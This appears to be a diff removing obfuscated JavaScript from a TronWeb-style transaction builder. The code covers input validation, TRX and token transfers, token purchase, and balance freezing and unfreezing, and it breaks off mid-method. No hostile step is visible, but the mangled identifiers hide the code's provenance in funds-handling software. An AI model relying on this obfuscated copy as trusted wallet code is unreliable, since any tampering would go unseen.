- throw _0x4e98b5;
- },
- f: _0x544795
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x5cca59;
- var _0x216482 = true;
- var _0x630d2c = false;
- return {
- s: function () {
- _0x37a652 = _0x37a652.call(_0x2720ea);
- },
- n: function () {
- var _0x55ed52 = _0x37a652.next();
- _0x216482 = _0x55ed52.done;
- return _0x55ed52;
- },
- e: function (_0x115392) {
- _0x630d2c = true;
- _0x5cca59 = _0x115392;
- },
- f: function () {
- try {
- _0x216482 || null == _0x37a652.return || _0x37a652.return();
- } finally {
- if (_0x630d2c) {
- throw _0x5cca59;
- }
- }
- }
- };
- }(_0x26301b);
- try {
- for (_0x96784c.s(); !(_0x4e9e1f = _0x96784c.n()).done;) {
- var _0x5b7282 = _0x4e9e1f.value;
- var _0x15532f = _0x5b7282.name;
- var _0x43e73b = _0x5b7282.names;
- var _0x58e41a = _0x5b7282.value;
- var _0x1110a8 = _0x5b7282.type;
- var _0x4a36db = _0x5b7282.gt;
- var _0x1d67ce = _0x5b7282.lt;
- var _0x34da7b = _0x5b7282.gte;
- var _0x23a030 = _0x5b7282.lte;
- if (_0x5b7282.se, !_0x5b7282.optional || _0x1db97c.isNotNullOrUndefined(_0x58e41a) && ("boolean" === _0x1110a8 || false !== _0x58e41a)) {
- switch (_0x2b62e1[_0x5b7282.name] = _0x5b7282.value, _0x1110a8) {
- case "address":
- this.tronWeb.isAddress(_0x58e41a) ? _0x2b62e1[_0x15532f] = this.tronWeb.address.toHex(_0x58e41a) : _0x126be4 = true;
- break;
- case "integer":
- (!_0x1db97c.isInteger(_0x58e41a) || "number" == typeof _0x4a36db && _0x58e41a <= _0x5b7282.gt || "number" == typeof _0x1d67ce && _0x58e41a >= _0x5b7282.lt || "number" == typeof _0x34da7b && _0x58e41a < _0x5b7282.gte || "number" == typeof _0x23a030 && _0x58e41a > _0x5b7282.lte) && (_0x126be4 = true);
- break;
- case "positive-integer":
- if (!_0x1db97c.isInteger(_0x58e41a) || _0x58e41a <= 0) {
- return void _0x25f7cc(this.notPositive(_0x5b7282));
- }
- break;
- case "tokenId":
- case "not-empty-string":
- _0x1db97c.isString(_0x58e41a) && _0x58e41a.length || (_0x126be4 = true);
- break;
- case "notEmptyObject":
- _0x1db97c.isObject(_0x58e41a) && Object.keys(_0x58e41a).length || (_0x126be4 = true);
- break;
- case "notEqual":
- if (_0x2b62e1[_0x43e73b[0]] === _0x2b62e1[_0x43e73b[1]]) {
- _0x25f7cc(this.notEqual(_0x5b7282));
- return true;
- }
- break;
- case "resource":
- ["BANDWIDTH", "ENERGY"].includes(_0x58e41a) || (_0x126be4 = true);
- break;
- case "url":
- _0x1db97c.isValidURL(_0x58e41a) || (_0x126be4 = true);
- break;
- case "hex":
- _0x1db97c.isHex(_0x58e41a) || (_0x126be4 = true);
- break;
- case "array":
- Array.isArray(_0x58e41a) || (_0x126be4 = true);
- break;
- case "boolean":
- _0x1db97c.isBoolean(_0x58e41a) || (_0x126be4 = true);
- break;
- case "string":
- (!_0x1db97c.isString(_0x58e41a) || "number" == typeof _0x4a36db && _0x58e41a.length <= _0x5b7282.gt || "number" == typeof _0x1d67ce && _0x58e41a.length >= _0x5b7282.lt || "number" == typeof _0x34da7b && _0x58e41a.length < _0x5b7282.gte || "number" == typeof _0x23a030 && _0x58e41a.length > _0x5b7282.lte) && (_0x126be4 = true);
- }
- if (_0x126be4) {
- _0x25f7cc(this.invalid(_0x5b7282));
- return true;
- }
- }
- }
- } catch (_0x38cf42) {
- _0x96784c.e(_0x38cf42);
- } finally {
- _0x96784c.f();
- }
- return false;
- }
- }]);
- return _0x3619c6;
- }();
- function _0x11f780(_0x26ebef, _0x1dc845) {
- var _0x4584bd = "undefined" != typeof Symbol && _0x26ebef[Symbol.iterator] || _0x26ebef["@@iterator"];
- if (!_0x4584bd) {
- if (Array.isArray(_0x26ebef) || (_0x4584bd = function (_0x571e0c, _0x49b99a) {
- if (_0x571e0c) {
- if ("string" == typeof _0x571e0c) {
- return _0x3d3a28(_0x571e0c, _0x49b99a);
- }
- var _0x4ae298 = Object.prototype.toString.call(_0x571e0c).slice(8, -1);
- "Object" === _0x4ae298 && _0x571e0c.constructor && (_0x4ae298 = _0x571e0c.constructor.name);
- return "Map" === _0x4ae298 || "Set" === _0x4ae298 ? Array.from(_0x571e0c) : "Arguments" === _0x4ae298 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x4ae298) ? _0x3d3a28(_0x571e0c, _0x49b99a) : undefined;
- }
- }(_0x26ebef)) || _0x1dc845 && _0x26ebef && "number" == typeof _0x26ebef.length) {
- _0x4584bd && (_0x26ebef = _0x4584bd);
- var _0x4c3299 = 0;
- var _0x2bc36d = function () {};
- return {
- s: _0x2bc36d,
- n: function () {
- return _0x4c3299 >= _0x26ebef.length ? {
- done: true
- } : {
- done: false,
- value: _0x26ebef[_0x4c3299++]
- };
- },
- e: function (_0x26c3bb) {
- throw _0x26c3bb;
- },
- f: _0x2bc36d
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x104a94;
- var _0x22630f = true;
- var _0x858909 = false;
- return {
- s: function () {
- _0x4584bd = _0x4584bd.call(_0x26ebef);
- },
- n: function () {
- var _0x29130c = _0x4584bd.next();
- _0x22630f = _0x29130c.done;
- return _0x29130c;
- },
- e: function (_0x39c50b) {
- _0x858909 = true;
- _0x104a94 = _0x39c50b;
- },
- f: function () {
- try {
- _0x22630f || null == _0x4584bd.return || _0x4584bd.return();
- } finally {
- if (_0x858909) {
- throw _0x104a94;
- }
- }
- }
- };
- }
- function _0x3d3a28(_0x26c934, _0x327969) {
- (null == _0x327969 || _0x327969 > _0x26c934.length) && (_0x327969 = _0x26c934.length);
- for (var _0x42b663 = 0, _0x29310f = new Array(_0x327969); _0x42b663 < _0x327969; _0x42b663++) {
- _0x29310f[_0x42b663] = _0x26c934[_0x42b663];
- }
- return _0x29310f;
- }
- function _0x4ddcbf(_0x161cd9, _0x112770) {
- var _0x5c887f = Object.keys(_0x161cd9);
- if (Object.getOwnPropertySymbols) {
- var _0x375dd3 = Object.getOwnPropertySymbols(_0x161cd9);
- _0x112770 && (_0x375dd3 = _0x375dd3.filter(function (_0x41aa71) {
- return Object.getOwnPropertyDescriptor(_0x161cd9, _0x41aa71).enumerable;
- }));
- _0x5c887f.push.apply(_0x5c887f, _0x375dd3);
- }
- return _0x5c887f;
- }
- function _0x53648b(_0xa9fd46) {
- for (var _0x4cd2a5 = 1; _0x4cd2a5 < arguments.length; _0x4cd2a5++) {
- var _0x3fcc1e = null != arguments[_0x4cd2a5] ? arguments[_0x4cd2a5] : {};
- _0x4cd2a5 % 2 ? _0x4ddcbf(Object(_0x3fcc1e), true).forEach(function (_0x1a9dbb) {
- _0x713ed3(_0xa9fd46, _0x1a9dbb, _0x3fcc1e[_0x1a9dbb]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0xa9fd46, Object.getOwnPropertyDescriptors(_0x3fcc1e)) : _0x4ddcbf(Object(_0x3fcc1e)).forEach(function (_0x4363f0) {
- Object.defineProperty(_0xa9fd46, _0x4363f0, Object.getOwnPropertyDescriptor(_0x3fcc1e, _0x4363f0));
- });
- }
- return _0xa9fd46;
- }
- function _0x21f364(_0x5956cf) {
- return _0x2d34c8.address.toHex(_0x5956cf);
- }
- function _0x5c310a(_0x303465) {
- return _0x40e30d.tronWeb.fromUtf8(_0x303465).replace(/^0x/, "");
- }
- function _0x4c391d(_0x4b7bea) {
- return JSON.parse(JSON.stringify(_0x4b7bea));
- }
- function _0x10cdf2(_0x4db00c, _0x15a0b1, _0x4c4bb5, _0x28638c) {
- "function" == typeof _0x4c4bb5 && (_0x28638c = _0x4c4bb5);
- "function" == typeof _0x15a0b1 && (_0x28638c = _0x15a0b1, _0x15a0b1 = null);
- return _0x4db00c.Error ? _0x28638c(_0x4db00c.Error) : _0x4db00c.result && _0x4db00c.result.message ? _0x28638c(_0x40e30d.tronWeb.toUtf8(_0x4db00c.result.message)) : _0x2a2290(_0x4db00c, _0x15a0b1, _0x4c4bb5) ? _0x28638c(null, _0x4db00c) : _0x28638c("Invalid transaction");
- }
- function _0x411952() {
- var _0x5d3a54 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- if (undefined === _0x5d3a54.ref_block_bytes && undefined === _0x5d3a54.ref_block_hash && undefined === _0x5d3a54.expiration && undefined === _0x5d3a54.timestamp) {
- return false;
- }
- if ("string" != typeof _0x5d3a54.ref_block_bytes) {
- throw new Error("Invalid ref_block_bytes provided.");
- }
- if ("string" != typeof _0x5d3a54.ref_block_hash) {
- throw new Error("Invalid ref_block_hash provided.");
- }
- if ("number" != typeof _0x5d3a54.expiration) {
- throw new Error("Invalid expiration provided.");
- }
- if ("number" != typeof _0x5d3a54.timestamp) {
- throw new Error("Invalid timestamp provided.");
- }
- return true;
- }
- function _0x4fe786(_0x361274, _0x4dff1f, _0x2cdaad, _0x4ff233) {
- return _0x496801.apply(this, arguments);
- }
- function _0x496801() {
- _0x496801 = _0x203d83(_0x307918().mark(function _0xfe1a73(_0x1bc40c, _0x52083f, _0x4b4669, _0x502840) {
- var _0x34afba;
- var _0x825751;
- var _0x48332f;
- var _0x360f50 = arguments;
- return _0x307918().wrap(function (_0x5d3ea9) {
- for (;;) {
- switch (_0x5d3ea9.prev = _0x5d3ea9.next) {
- case 0:
- if (_0x34afba = _0x360f50.length > 4 && undefined !== _0x360f50[4] ? _0x360f50[4] : {}, _0x5d3ea9.t0 = _0x53648b, _0x5d3ea9.t1 = _0x53648b, _0x5d3ea9.t2 = {
- contract: [{
- parameter: {
- value: _0x4b4669,
- type_url: "type.googleapis.com/protocol.".concat(_0x52083f)
- },
- type: _0x52083f
- }]
- }, !_0x411952(_0x34afba)) {
- _0x5d3ea9.next = 8;
- break;
- }
- _0x5d3ea9.t3 = {};
- _0x5d3ea9.next = 11;
- break;
- case 8:
- _0x5d3ea9.next = 10;
- return _0x1bc40c.fullNode.request("wallet/getblock", {
- detail: false
- }, "post").then(function (_0x815174) {
- return {
- ref_block_bytes: _0x815174.block_header.raw_data.number.toString(16).slice(-4).padStart(4, "0"),
- ref_block_hash: _0x815174.blockID.slice(16, 32),
- expiration: _0x815174.block_header.raw_data.timestamp + 60000,
- timestamp: _0x815174.block_header.raw_data.timestamp
- };
- });
- case 10:
- _0x5d3ea9.t3 = _0x5d3ea9.sent;
- case 11:
- _0x5d3ea9.t4 = _0x5d3ea9.t3;
- _0x5d3ea9.t5 = (0, _0x5d3ea9.t1)(_0x5d3ea9.t2, _0x5d3ea9.t4);
- _0x5d3ea9.t6 = _0x34afba;
- _0x5d3ea9.t7 = (0, _0x5d3ea9.t0)(_0x5d3ea9.t5, _0x5d3ea9.t6);
- _0x825751 = {
- visible: false,
- txID: "",
- raw_data_hex: "",
- raw_data: _0x5d3ea9.t7
- };
- _0x502840 && (_0x825751.raw_data.contract[0].Permission_id = _0x502840);
- _0x48332f = _0x19b9ac(_0x825751);
- _0x825751.txID = _0x1c03ef(_0x48332f).replace(/^0x/, "");
- _0x825751.raw_data_hex = _0x311c84(_0x48332f).toLowerCase();
- return _0x5d3ea9.abrupt("return", _0x825751);
- case 21:
- case "end":
- return _0x5d3ea9.stop();
- }
- }
- }, _0xfe1a73);
- }));
- return _0x496801.apply(this, arguments);
- }
- function _0x3148dc(_0xf9c95f) {
- var _0x4f7bcb = {};
- _0x411952(null == _0xf9c95f ? undefined : _0xf9c95f.blockHeader) && ["ref_block_bytes", "ref_block_hash", "expiration", "timestamp"].forEach(function (_0x4439d9) {
- _0x4f7bcb[_0x4439d9] = _0xf9c95f.blockHeader[_0x4439d9];
- });
- return _0x4f7bcb;
- }
- var _0x2d40cc = function () {
- function _0x3c71f1() {
- var _0x5ba841 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (_0x1d998d(this, _0x3c71f1), !_0x5ba841 || !_0x5ba841 instanceof _0x2d34c8) {
- throw new Error("Expected instance of TronWeb");
- }
- _0x40e30d = this;
- this.tronWeb = _0x5ba841;
- this.injectPromise = _0x13268c()(this);
- this.validator = new _0x4e6fd5(_0x5ba841);
- }
- var _0x566241;
- var _0x23ec1f;
- var _0x55497c;
- var _0x99673f;
- var _0x18f3a0;
- _0x561e78(_0x3c71f1, [{
- key: "sendTrx",
- value: function () {
- var _0x4c1a13;
- var _0x550825 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x700f07 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- var _0xcdb0ae = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x3203e1 = arguments.length > 3 ? arguments[3] : undefined;
- var _0x5a7d1 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x3203e1) && (_0x5a7d1 = _0x3203e1, _0x3203e1 = {}), _0x1db97c.isFunction(_0xcdb0ae) ? (_0x5a7d1 = _0xcdb0ae, _0xcdb0ae = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0xcdb0ae) && (_0x3203e1 = _0xcdb0ae, _0xcdb0ae = this.tronWeb.defaultAddress.hex), !_0x5a7d1) {
- return this.injectPromise(this.sendTrx, _0x550825, _0x700f07, _0xcdb0ae, _0x3203e1);
- }
- if (_0x700f07 = parseInt(_0x700f07), !this.validator.notValid([{
- name: "recipient",
- type: "address",
- value: _0x550825
- }, {
- name: "origin",
- type: "address",
- value: _0xcdb0ae
- }, {
- names: ["recipient", "origin"],
- type: "notEqual",
- msg: "Cannot transfer TRX to the same account"
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x700f07
- }], _0x5a7d1)) {
- var _0x49959d = {
- to_address: _0x21f364(_0x550825),
- owner_address: _0x21f364(_0xcdb0ae),
- amount: _0x700f07
- };
- var _0x46f2ad = _0x3148dc(_0x3203e1);
- _0x4fe786(this.tronWeb, "TransferContract", _0x49959d, null === (_0x4c1a13 = _0x3203e1) || undefined === _0x4c1a13 ? undefined : _0x4c1a13.permissionId, _0x46f2ad).then(function (_0x42c485) {
- return _0x5a7d1(null, _0x42c485);
- }).catch(function (_0x61cc42) {
- return _0x5a7d1(_0x61cc42);
- });
- }
- }
- }, {
- key: "sendToken",
- value: function () {
- var _0x2fc2e9;
- var _0x3947da = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x26a2d4 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- var _0x4bb95a = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0x409da6 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x58f553 = arguments.length > 4 ? arguments[4] : undefined;
- var _0x4de271 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x58f553) && (_0x4de271 = _0x58f553, _0x58f553 = {}), _0x1db97c.isFunction(_0x409da6) ? (_0x4de271 = _0x409da6, _0x409da6 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x409da6) && (_0x58f553 = _0x409da6, _0x409da6 = this.tronWeb.defaultAddress.hex), !_0x4de271) {
- return this.injectPromise(this.sendToken, _0x3947da, _0x26a2d4, _0x4bb95a, _0x409da6, _0x58f553);
- }
- if (_0x26a2d4 = parseInt(_0x26a2d4), !this.validator.notValid([{
- name: "recipient",
- type: "address",
- value: _0x3947da
- }, {
- name: "origin",
- type: "address",
- value: _0x409da6
- }, {
- names: ["recipient", "origin"],
- type: "notEqual",
- msg: "Cannot transfer tokens to the same account"
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x26a2d4
- }, {
- name: "token ID",
- type: "tokenId",
- value: _0x4bb95a
- }], _0x4de271)) {
- var _0x53a4f3 = {
- to_address: _0x21f364(_0x3947da),
- owner_address: _0x21f364(_0x409da6),
- asset_name: _0x5c310a(_0x4bb95a),
- amount: parseInt(_0x26a2d4)
- };
- var _0x375f12 = _0x3148dc(_0x58f553);
- _0x4fe786(this.tronWeb, "TransferAssetContract", _0x53a4f3, null === (_0x2fc2e9 = _0x58f553) || undefined === _0x2fc2e9 ? undefined : _0x2fc2e9.permissionId, _0x375f12).then(function (_0x27390d) {
- return _0x4de271(null, _0x27390d);
- }).catch(function (_0x2c4b85) {
- return _0x4de271(_0x2c4b85);
- });
- }
- }
- }, {
- key: "purchaseToken",
- value: function () {
- var _0x185471;
- var _0x2a5866 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x390a4c = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x31f213 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x2ce492 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x5a2498 = arguments.length > 4 ? arguments[4] : undefined;
- var _0x3e233d = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x5a2498) && (_0x3e233d = _0x5a2498, _0x5a2498 = {}), _0x1db97c.isFunction(_0x2ce492) ? (_0x3e233d = _0x2ce492, _0x2ce492 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x2ce492) && (_0x5a2498 = _0x2ce492, _0x2ce492 = this.tronWeb.defaultAddress.hex), !_0x3e233d) {
- return this.injectPromise(this.purchaseToken, _0x2a5866, _0x390a4c, _0x31f213, _0x2ce492, _0x5a2498);
- }
- if (!this.validator.notValid([{
- name: "buyer",
- type: "address",
- value: _0x2ce492
- }, {
- name: "issuer",
- type: "address",
- value: _0x2a5866
- }, {
- names: ["buyer", "issuer"],
- type: "notEqual",
- msg: "Cannot purchase tokens from same account"
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x31f213
- }, {
- name: "token ID",
- type: "tokenId",
- value: _0x390a4c
- }], _0x3e233d)) {
- var _0x391a2a = {
- to_address: _0x21f364(_0x2a5866),
- owner_address: _0x21f364(_0x2ce492),
- asset_name: _0x5c310a(_0x390a4c),
- amount: parseInt(_0x31f213)
- };
- var _0x5ddd0b = _0x3148dc(_0x5a2498);
- _0x4fe786(this.tronWeb, "ParticipateAssetIssueContract", _0x391a2a, null === (_0x185471 = _0x5a2498) || undefined === _0x185471 ? undefined : _0x185471.permissionId, _0x5ddd0b).then(function (_0x29f63b) {
- return _0x3e233d(null, _0x29f63b);
- }).catch(function (_0x286339) {
- return _0x3e233d(_0x286339);
- });
- }
- }
- }, {
- key: "freezeBalance",
- value: function () {
- var _0x640da0;
- var _0x290a9 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x1279af = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 3;
- var _0x1e3b80 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : "BANDWIDTH";
- var _0x5cfbfa = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x43f7a9 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : undefined;
- var _0x16d4a4 = arguments.length > 5 ? arguments[5] : undefined;
- var _0x445b42 = arguments.length > 6 && undefined !== arguments[6] && arguments[6];
- if (_0x1db97c.isFunction(_0x16d4a4) && (_0x445b42 = _0x16d4a4, _0x16d4a4 = {}), _0x1db97c.isFunction(_0x43f7a9) ? (_0x445b42 = _0x43f7a9, _0x43f7a9 = undefined) : _0x1db97c.isObject(_0x43f7a9) && (_0x16d4a4 = _0x43f7a9, _0x43f7a9 = undefined), _0x1db97c.isFunction(_0x5cfbfa) ? (_0x445b42 = _0x5cfbfa, _0x5cfbfa = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x5cfbfa) && (_0x16d4a4 = _0x5cfbfa, _0x5cfbfa = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x1279af) && (_0x445b42 = _0x1279af, _0x1279af = 3), _0x1db97c.isFunction(_0x1e3b80) && (_0x445b42 = _0x1e3b80, _0x1e3b80 = "BANDWIDTH"), !_0x445b42) {
- return this.injectPromise(this.freezeBalance, _0x290a9, _0x1279af, _0x1e3b80, _0x5cfbfa, _0x43f7a9, _0x16d4a4);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x5cfbfa
- }, {
- name: "receiver",
- type: "address",
- value: _0x43f7a9,
- optional: true
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x290a9
- }, {
- name: "duration",
- type: "integer",
- gte: 3,
- value: _0x1279af
- }, {
- name: "resource",
- type: "resource",
- value: _0x1e3b80,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x445b42)) {
- var _0x3eb237 = {
- owner_address: _0x21f364(_0x5cfbfa),
- frozen_balance: parseInt(_0x290a9),
- frozen_duration: parseInt(_0x1279af)
- };
- "BANDWIDTH" !== _0x1e3b80 && (_0x3eb237.resource = _0x1e3b80);
- _0x1db97c.isNotNullOrUndefined(_0x43f7a9) && _0x21f364(_0x43f7a9) !== _0x21f364(_0x5cfbfa) && (_0x3eb237.receiver_address = _0x21f364(_0x43f7a9));
- var _0x15a2d4 = _0x3148dc(_0x16d4a4);
- _0x4fe786(this.tronWeb, "FreezeBalanceContract", _0x3eb237, null === (_0x640da0 = _0x16d4a4) || undefined === _0x640da0 ? undefined : _0x640da0.permissionId, _0x15a2d4).then(function (_0x464060) {
- return _0x445b42(null, _0x464060);
- }).catch(function (_0x140137) {
- return _0x445b42(_0x140137);
- });
- }
- }
- }, {
- key: "unfreezeBalance",
- value: function () {
- var _0x137dbc;
- var _0x1cea4a = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : "BANDWIDTH";
- var _0x34523e = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultAddress.hex;
- var _0x4a8321 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : undefined;
- var _0x33f1b7 = arguments.length > 3 ? arguments[3] : undefined;
- var _0x181d20 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x33f1b7) && (_0x181d20 = _0x33f1b7, _0x33f1b7 = {}), _0x1db97c.isFunction(_0x4a8321) ? (_0x181d20 = _0x4a8321, _0x4a8321 = undefined) : _0x1db97c.isObject(_0x4a8321) && (_0x33f1b7 = _0x4a8321, _0x4a8321 = undefined), _0x1db97c.isFunction(_0x34523e) ? (_0x181d20 = _0x34523e, _0x34523e = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x34523e) && (_0x33f1b7 = _0x34523e, _0x34523e = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x1cea4a) && (_0x181d20 = _0x1cea4a, _0x1cea4a = "BANDWIDTH"), !_0x181d20) {
- return this.injectPromise(this.unfreezeBalance, _0x1cea4a, _0x34523e, _0x4a8321, _0x33f1b7);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x34523e
- }, {
- name: "receiver",
- type: "address",
- value: _0x4a8321,
- optional: true
- }, {
- name: "resource",
- type: "resource",
- value: _0x1cea4a,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x181d20)) {
- var _0x5d6221 = {
- owner_address: _0x21f364(_0x34523e)
- };
- "BANDWIDTH" !== _0x1cea4a && (_0x5d6221.resource = _0x1cea4a);
- _0x1db97c.isNotNullOrUndefined(_0x4a8321) && _0x21f364(_0x4a8321) !== _0x21f364(_0x34523e) && (_0x5d6221.receiver_address = _0x21f364(_0x4a8321));
- var _0x56a3ec = _0x3148dc(_0x33f1b7);
- _0x4fe786(this.tronWeb, "UnfreezeBalanceContract", _0x5d6221, null === (_0x137dbc = _0x33f1b7) || undefined === _0x137dbc ? undefined : _0x137dbc.permissionId, _0x56a3ec).then(function (_0x1e2fe7) {
- return _0x181d20(null, _0x1e2fe7);
- }).catch(function (_0x194866) {
- return _0x181d20(_0x194866);
- });
- }
- }
- }, {
- key: "freezeBalanceV2",
- value: function () {
- var _0x28c108;
- var _0x5ebf13 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x54ebd3 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "BANDWIDTH";
- var _0x3161f8 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x26b4b7 = arguments.length > 3 ? arguments[3] : undefined;
- var _0x4e6e88 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x26b4b7) && (_0x4e6e88 = _0x26b4b7, _0x26b4b7 = {}), _0x1db97c.isFunction(_0x3161f8) ? (_0x4e6e88 = _0x3161f8, _0x3161f8 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x3161f8) && (_0x26b4b7 = _0x3161f8, _0x3161f8 = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x54ebd3) ? (_0x4e6e88 = _0x54ebd3, _0x54ebd3 = "BANDWIDTH") : _0x1db97c.isObject(_0x54ebd3) && (_0x26b4b7 = _0x54ebd3, _0x54ebd3 = "BANDWIDTH"), !_0x4e6e88) {
- return this.injectPromise(this.freezeBalanceV2, _0x5ebf13, _0x54ebd3, _0x3161f8, _0x26b4b7);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x3161f8
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x5ebf13
- }, {
- name: "resource",
- type: "resource",
- value: _0x54ebd3,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x4e6e88)) {
- var _0x3703ea = {
- owner_address: _0x21f364(_0x3161f8),
- frozen_balance: parseInt(_0x5ebf13)
- };
- "BANDWIDTH" !== _0x54ebd3 && (_0x3703ea.resource = _0x54ebd3);
- var _0x5c31a1 = _0x3148dc(_0x26b4b7);
- _0x4fe786(this.tronWeb, "FreezeBalanceV2Contract", _0x3703ea, null === (_0x28c108 = _0x26b4b7) || undefined === _0x28c108 ? undefined : _0x28c108.permissionId, _0x5c31a1).then(function (_0x4bff3b) {
- return _0x4e6e88(null, _0x4bff3b);
- }).catch(function (_0x289e6e) {
- return _0x4e6e88(_0x289e6e);
- });
- }
- }
- }, {
- key: "unfreezeBalanceV2",
- value: function () {
- var _0x32b5a9;
- var _0x281436 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x1222fa = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "BANDWIDTH";
- var _0x6982fd = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x45e9cd = arguments.length > 3 ? arguments[3] : undefined;
- var _0x560df4 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x45e9cd) && (_0x560df4 = _0x45e9cd, _0x45e9cd = {}), _0x1db97c.isFunction(_0x6982fd) ? (_0x560df4 = _0x6982fd, _0x6982fd = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x6982fd) && (_0x45e9cd = _0x6982fd, _0x6982fd = this.tronWeb.defaultAddress.hex), _0x1db97c.isFunction(_0x1222fa) ? (_0x560df4 = _0x1222fa, _0x1222fa = "BANDWIDTH") : _0x1db97c.isObject(_0x1222fa) && (_0x45e9cd = _0x1222fa, _0x1222fa = "BANDWIDTH"), !_0x560df4) {
- return this.injectPromise(this.unfreezeBalanceV2, _0x281436, _0x1222fa, _0x6982fd, _0x45e9cd);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x6982fd
- }, {
- name: "amount",
- type: "integer",
- gt: 0,
- value: _0x281436
- }, {
- name: "resource",
- type: "resource",
- value: _0x1222fa,
- msg: "Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""
- }], _0x560df4)) {
- var _0x43a903 = {
- owner_address: _0x21f364(_0x6982fd),
- unfreeze_balance: parseInt(_0x281436)
- };
- "BANDWIDTH" !== _0x1222fa && (_0x43a903.resource = _0x1222fa);
- var _0x2aa7c7 = _0x3148dc(_0x45e9cd);
- _0x4fe786(this.tronWeb, "UnfreezeBalanceV2Contract", _0x43a903, null === (_0x32b5a9 = _0x45e9cd) || undefined === _0x32b5a9 ? undefined : _0x32b5a9.permissionId, _0x2aa7c7).then(function (_0x5334a0) {
- return _0x560df4(null, _0x5334a0);
- }).catch(function (_0x5c6a79) {
- return _0x560df4(_0x5c6a79);
- });
- }
- }
- }, {
- key: "cancelUnfreezeBalanceV2",
- value: function () {
- var _0x4a4d3a;
- var _0x314d11 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x56d9a6 = arguments.length > 1 ? arguments[1] : undefined;
- var _0x4b1166 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x56d9a6) && (_0x4b1166 = _0x56d9a6, _0x56d9a6 = {}), _0x1db97c.isFunction(_0x314d11) ? (_0x4b1166 = _0x314d11, _0x56d9a6 = {}, _0x314d11 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x314d11) && (_0x56d9a6 = _0x314d11, _0x314d11 = this.tronWeb.defaultAddress.hex), !_0x4b1166) {
- return this.injectPromise(this.cancelUnfreezeBalanceV2, _0x314d11, _0x56d9a6);
- }
- if (!this.validator.notValid([{
- name: "origin",
- type: "address",
- value: _0x314d11
- }], _0x4b1166)) {
- var _0x281291 = {
